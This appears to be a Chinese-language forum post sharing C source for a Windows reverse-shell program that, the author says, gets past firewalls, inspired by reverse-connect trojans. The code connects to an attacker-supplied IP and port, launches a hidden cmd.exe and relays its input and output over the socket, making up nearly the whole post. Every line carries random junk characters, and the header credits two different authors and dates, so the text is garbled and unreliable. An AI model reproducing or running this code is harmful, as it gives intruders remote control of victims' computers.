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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1I Yip\:lS  
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/* ============================== `s}*  
Rebound port in Windows NT p< R:[rz  
By wind,2006/7 95;{ms[  
===============================*/ >nSsbhAe  
#include ~KK 9aV{  
#include -luQbGcT3  
,,3lH-C  
#pragma comment(lib,"wsock32.lib") K/4@ 2vF  
^ 5 >e  
void OutputShell(); ;!yK~OBxt  
SOCKET sClient; 2:+8]b3i  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?z ,!iK`  
*[MWvs:,  
void main(int argc,char **argv) rK~-Wzwu  
{ ];r! M0  
WSADATA stWsaData; {f*Y}/@  
int nRet; \BOoY#!a  
SOCKADDR_IN stSaiClient,stSaiServer; M 8^ID #  
3CUQQ_  
if(argc != 3) 9rB3h`AVF  
{ I?KN7(9u?  
printf("Useage:\n\rRebound DestIP DestPort\n"); FOaA}D `]  
return; gv!8' DKn  
} mrGV{{.  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Pz]WT1J0  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~f QrH%@  
,CE/o7.FG  
stSaiClient.sin_family = AF_INET; x"r0<RK  
stSaiClient.sin_port = htons(0); i4C{3J^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?2<QoS  
",r v%i2 f  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G  hM  
{ u09Tlqh0 3  
printf("Bind Socket Failed!\n"); $ m`Dyu  
return; U}2@  
} 7T[~~V^x  
, 3R=8  
stSaiServer.sin_family = AF_INET; Sn:>|y~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o$_0Qs$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /SvhOi  
<J%qzt}  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T/$ gnn  
{ o<g?*"TRh  
printf("Connect Error!"); /%$Zm^8c  
return; 6:1`lsP  
} tldT(E6  
OutputShell(); h y rPu_  
} 0 _!0\d#c  
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void OutputShell() wl=tN{R  
{ NP>v @jO  
char szBuff[1024]; VO#rJ1J  
SECURITY_ATTRIBUTES stSecurityAttributes; AXw qN:P}  
OSVERSIONINFO stOsversionInfo; g 2Fg  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s5,@=(,  
STARTUPINFO stStartupInfo; 8)B{x[?|  
char *szShell; Za.}bR6?Y  
PROCESS_INFORMATION stProcessInformation; )! [B(  
unsigned long lBytesRead; " <bjS  
]+lT*6P*  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (6%T~|a  
hzD)yf  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); a%go[_w  
stSecurityAttributes.lpSecurityDescriptor = 0; 2OG/0cP  
stSecurityAttributes.bInheritHandle = TRUE; t Cuvb  
r#-  
\F _1 C=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); bLT3:q#s  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); N2h5@*1Y  
"|\hTRQ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +U fw  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UMcM&yu-  
stStartupInfo.wShowWindow = SW_HIDE; 3s\UU2yr  
stStartupInfo.hStdInput = hReadPipe; ] 0i[=  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L03I:IJ  
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GetVersionEx(&stOsversionInfo); Aez2n(yac  
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switch(stOsversionInfo.dwPlatformId) ,#a4P`q'iC  
{ NF$6yv9C  
case 1: DpHubqWz  
szShell = "command.com"; 3h bHS~  
break; >WHajYO"  
default: v}>g* @  
szShell = "cmd.exe"; +=WBH'  
break; QW..=}pL  
} 6Ga'_P:  
lw=kTYbq  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); LcKc#)'EE  
g}9 ,U&$]y  
send(sClient,szMsg,77,0); lyL6w1  
while(1) 6O4 *OR<&  
{ iBE|6+g~Cj  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4DIU7#GG  
if(lBytesRead) AFt- V  
{ V``|<`!gd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R6~6b&-8  
send(sClient,szBuff,lBytesRead,0); tbQY&TO1  
} 5{ap  
else S iNgV\('U  
{ &zn|),  
lBytesRead=recv(sClient,szBuff,1024,0); h]zok}$  
if(lBytesRead<=0) break; ~XUUrg;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cGE{dWz  
} R;"$PH D  
} PvKGB01_  
jLFaf#G]  
return; ;&lXgC^*  
}
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